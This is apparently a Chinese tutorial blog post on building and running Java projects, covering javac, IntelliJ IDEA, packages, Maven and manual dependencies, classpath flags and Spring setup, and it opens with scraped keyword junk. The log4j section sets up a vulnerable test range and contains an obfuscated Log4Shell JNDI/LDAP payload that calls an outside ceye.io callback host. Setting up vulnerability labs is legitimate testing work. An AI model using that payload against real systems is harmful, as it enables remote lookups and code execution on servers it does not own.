园区网互联及网站建设,wordpress取回密码收不到邮件,做网站打广告,微信小程序开发代码文章目录引言如何在linux中编译运行java程序IDEA中新建一个简单的java工程项目并运行IDEA中如何引入外部依赖并运行maven引入log4j jar包手工引入log4j jar包如何使用命令行的方式添加外部依赖如何新建一个spring源码项目并为其添加依赖给定一个spring工程源码#xff0c;如何…
文章目录引言如何在linux中编译运行java程序IDEA中新建一个简单的java工程项目并运行IDEA中如何引入外部依赖并运行maven引入log4j jar包手工引入log4j jar包如何使用命令行的方式添加外部依赖如何新建一个spring源码项目并为其添加依赖给定一个spring工程源码如何pom.xml添加依赖本地运行。总结引言
学习工作中经常会遇到java相关的项目工程 本篇文章主要是想分享一下如何搭建一个java环境。 其实我在接触java项目的过程中最直接的阻碍并不是java语法的理解 也不是框架的使用这些直接网上查询就可以得到。 但是对于java项目如何搭建起来的如果运行的或者是如何添加项目依赖的这些确实是让java初学者比较头痛。 触发我写这篇文章的一个最直接的应用场景是 在遇到一个简单的源码审计问题的时候只有源代码不提供依赖这个时候如何在项目中引入依赖然后把代码在本地跑起来这样就可以调试并快速审计或定位问题了。
这篇文章主要关注以下场景的问题:
如何新建一个简单的java工程项目例如用于leetcode刷题如何引入外部依赖并运行例如新建一个使用到log4j 的靶场环境并运行如何新建一个spring源码项目并为其添加依赖。给定一个源码如spring相关项目如何为这个项目添加依赖本地运行。
顺便提一下对笔者自己来说引入java外部依赖是个难题。 之前有过c 和python 相关的项目经历在实际应用中搭建c,python环境都比较容易引入外部依赖也比较方便。
对于c项目来说使用c编译器来编译运行代码 一般需要通过 #include 的方式来引入外部依赖的头文件。对于python项目来说 也都需要配置一个python解释器如果有什么需要引用外部的库 直接使用 pip install命令就可以方便的使用各种库的功能了。对于java项目来说编译运行java程序需要使用到jdk; 引用外部依赖 可以先下载jar包再引用 也可以使用maven 工程来配置好依赖后自动下载。
如何在linux中编译运行java程序
我们来学习一下如何在linux中使用java 命令编译执行一个简单的程序。
假设已经安装并配置好了java 环境创建一个名为HelloJava.java的文件 然后文件中编辑一个类HelloJava.java; 注意: 文件名要和类名要保持一致否则会编译出错 但是我们知道在c和python 中都没有这样的限制。
public class HelloJava{public static void main(String[] args) {System.out.println(Nice to meet you!)}
}static 表示这是一个静态方法允许调用main()方法 无需创建类的实例即可运行。 main()是所有的程序的入口最先开始执行。 执行下面命令可以编译成一个符合java虚机机规范的字节码文件 HelloJava.class。
javac HelloJava.java执行下面命令 可以运行HelloJava.class,但是注意命令中需要把.class去掉。
java HelloJavaIDEA中新建一个简单的java工程项目并运行
上面我们学习了使用java命令行来编译运行java程序这是最基础的执行步骤。但是在我们的日常开发中项目通常会在一个集成开发环境中完成下面我们学习一下如何在IDEA新建一个简单的java工程项目。 打开idea– File- New- Project 选择创建一个简单的java项目 在Project sdk中选择自己提前下载安装好的jdk路径 点击继续 project name 可以自己定义例如 demo. 成功创建一个java项目后 项目下有idea和src两个目录我们主要在src目录下操作。在src目录新建一个包package 然后新建一个HelloJava类 然后点击运行即可观察到结果。
package aaa.bbb;
public class HelloJava{public static void main(String[] args) {System.out.println(Nice to meet you!);}
}知识点 什么是package? 其实对于初学者可能会使用不到package, 因为我们刚开始学习的时候一般都是几个简单的类文件我们稍微注意一下就不会导致类名冲突这样的问题。但是随着工程的不断扩大 我们可能会遇到这样的场景
类的名称太多了 可能会有类名称冲突类的定义太多了我想按照某种逻辑分类 把相似的类名称放在一起。
这个时候我们就可以使用package了。 包允许将类组合成较小的单元类似文件夹它基本上隐藏了类并避免了名称上的冲突。包允许在更广泛的范围内保护类、数据和方法。你可以在包内定义类而在包外的代码不能访问该类。这使你的类相互之间有隐私但不被其他世界所知。 包的作用如下 区分相同名称的类。 能够较好地管理大量的类。 控制访问范围。
包package的使用要点如下
包名全部使用小写字母多个层次使用.分隔一般会由倒置的域名开头比如 com.baidu不要有 www。不能java开头。使用 import 语句导入指定包下某个类的用法按如下
import example.MyClass;使用 import 语句导入指定包下全部类的用法按如下
import example.*;Java 默认为所有源文件导入 java.lang 包下的所有类因此前面在 Java 程序中使用 String、System 类时都无须使用 import 语句来导入这些类。但对于前面介绍数组时提到的 Arrays 类其位于 java.util 包下则必须使用 import 语句来导入该类。
IDEA中如何引入外部依赖并运行
加入我们遇到下面的场景 为了验证log4j的漏洞 我们想搭建一个简单的log4j靶场环境。 这里我们介绍两种方法来引入log4j的外部依赖环境: 1. 手工下载log4j的jar包并引入 2.通过maven环境引入log4j依赖
maven引入log4j jar包 创建maven工程 : File new project Maven 创建项目名称为log4j_test IDEA会生成项目 其中有pom.xml文件 初始内容状态为:
?xml version1.0 encodingUTF-8?
project xmlnshttp://maven.apache.org/POM/4.0.0xmlns:xsihttp://www.w3.org/2001/XMLSchema-instancexsi:schemaLocationhttp://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsdmodelVersion4.0.0/modelVersiongroupIdorg.example/groupIdartifactIdlog4j_test/artifactIdversion1.0-SNAPSHOT/versionpropertiesmaven.compiler.source8/maven.compiler.sourcemaven.compiler.target8/maven.compiler.target/properties/project如果我们想加入log4j的jar依赖我们需要添加: dependenciesdependencygroupIdorg.apache.logging.log4j/groupIdartifactIdlog4j-core/artifactIdversion2.13.2/version/dependency/dependencies然后我们就可以愉快的引入log4j的外部依赖了 我们可以编辑代码来实现自己的需求。
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class Test1{private static final Logger logger LogManager.getLogger(org.apache.logging.log4j.Logger.class);public static void main(String[] args) {logger.error(hello world asdf.);logger.error($${lookupName:key:${lower:env}});logger.error(${env:aaa:-444444});logger.error(${base64:SGVsbG8gV29ybGQhCg});logger.error(${log4j:configParentLocation});logger.error($${lower:{${java:os}});logger.error(${upper:DhhASD});logger.error(${java:os});logger.error(${${env:base:-j}${lower:N}di:l${lower:D}${env:base:-a}p://qqqq.rblpq9.ceye.io/Log4jRC});}
}
这里引出一个疑问: 如果我们只知道三方库的名字 如何快速查询到maven中的引用方式呢 方法如下:
访问Maven中央仓例如访问https://mvnrepository.com/搜索需要引入的三方库名称例如搜索log4j点击进去选择合适的版本例如选择2.12.3页面会给出maven的引用方式复制到pom.xml中即可。例如:
dependencygroupIdorg.apache.logging.log4j/groupIdartifactIdlog4j-core/artifactIdversion2.12.3/version
/dependency手工引入log4j jar包
上面我们介绍了使用maven的方式来引入外部依赖但是其实我们也可以手工下载jar包然后手工引入 这样其实就不需要使用maven项目了 下面我们来实践一下。 访问maven中央仓并搜索下载自己想要的jar包到本地。 下面我们就需要在IDEA中配置引入下载的jar包了 具体步骤如下
点击 file Project Structure Modules 点击 JARs or Directories 添加存放自己下载jar包的路径3. 下面我们就可以在工程项目中引用这个jar包的外部依赖了如何使用命令行的方式添加外部依赖
假如遇到如下的场景 windows 下写了一个java类并编译成class文件现在想把这个程序放到linux下执行。但是我在程序中引入了外部依赖 这样的话由于缺少外部依赖是无法直接在linux中运行的。
问题一 如何在运行java程序时候命令行指定依赖
可以使用如下的示例(个人理解绝对路径和相对路径都是可以的)
java -cp .:绝对路径1.jar:绝对路径2.jar 全限定类名(此类有main方法)
java -cp other.jar:demo-0.0.1-SNAPSHOT.jar com.javapc.demo.test.Test问题二 如何在编译的时候指定依赖 javac -cp 绝对路径1.jar:绝对路径2.jar java文件名.java如何新建一个spring源码项目并为其添加依赖
我们在上文介绍了创建java项目以及引入依赖的通用方法。在实际的web项目中spring框架的使用还是非常常见的 下面介绍下spring项目的搭建方法spring 项目中一般会使用maven来管理外部依赖。 New Project 选中Maven 右击项目 Add FrameWork Support 添加一下spring 框架支持。 对于spring相关依赖可以在pom.xml中按需加入比如 dependenciesdependencygroupIdorg.springframework/groupIdartifactIdspring-context/artifactIdversion4.2.6.RELEASE/version/dependencydependencygroupIdorg.springframework/groupIdartifactIdspring-webmvc/artifactIdversion4.3.0.RELEASE/version/dependency/dependencies
接下来我们就可以在项目中使用spring 来搭建java web工程了
package net.biancheng.c;import org.springframework.context.ApplicationContext;
import org.springframework.context.support.ClassPathXmlApplicationContext;public class MainApp {public static void main(String[] args) {ApplicationContext context new ClassPathXmlApplicationContext(Beans.xml);HelloWorld obj context.getBean(helloWorld, HelloWorld.class);obj.getMessage();System.out.println(System.getProperty(user.dir));}
}给定一个spring工程源码如何pom.xml添加依赖本地运行。
我们有可能后遇到这样的一个场景: 我们拿到了一个spring项目的源码pom.xml文件可能是缺失的我们需要使用IDEA搭建可运行环境用于调试。 我们可以采取如下的步骤:
Add Framework Support添加spring框架支持。Add Framework Support添加maven框架支持这个会自动生成一个pom.xml文件。设置JDK路径根据代码来设置packagepom.xml 添加spring boot相关依赖。
可能会遇到以下问题 spring 依赖版本需要匹配一致否则会无法运行。 找不到类对应的保存可以网上搜索解决
总结
动手实践了以上的java项目搭建过程就熟悉了java项目开发流程。 这样我们可以快速的调试运行起来其他人开发的项目也可以快速的自己搭建环境进行java开发。
参考资料: http://c.biancheng.net/view/5611.html
https://blog.csdn.net/weixin_45987729/article/details/124216168
http://c.biancheng.net/view/6084.html
https://juejin.cn/post/6954950905909215268
https://www.jianshu.com/p/4bff72c7e71b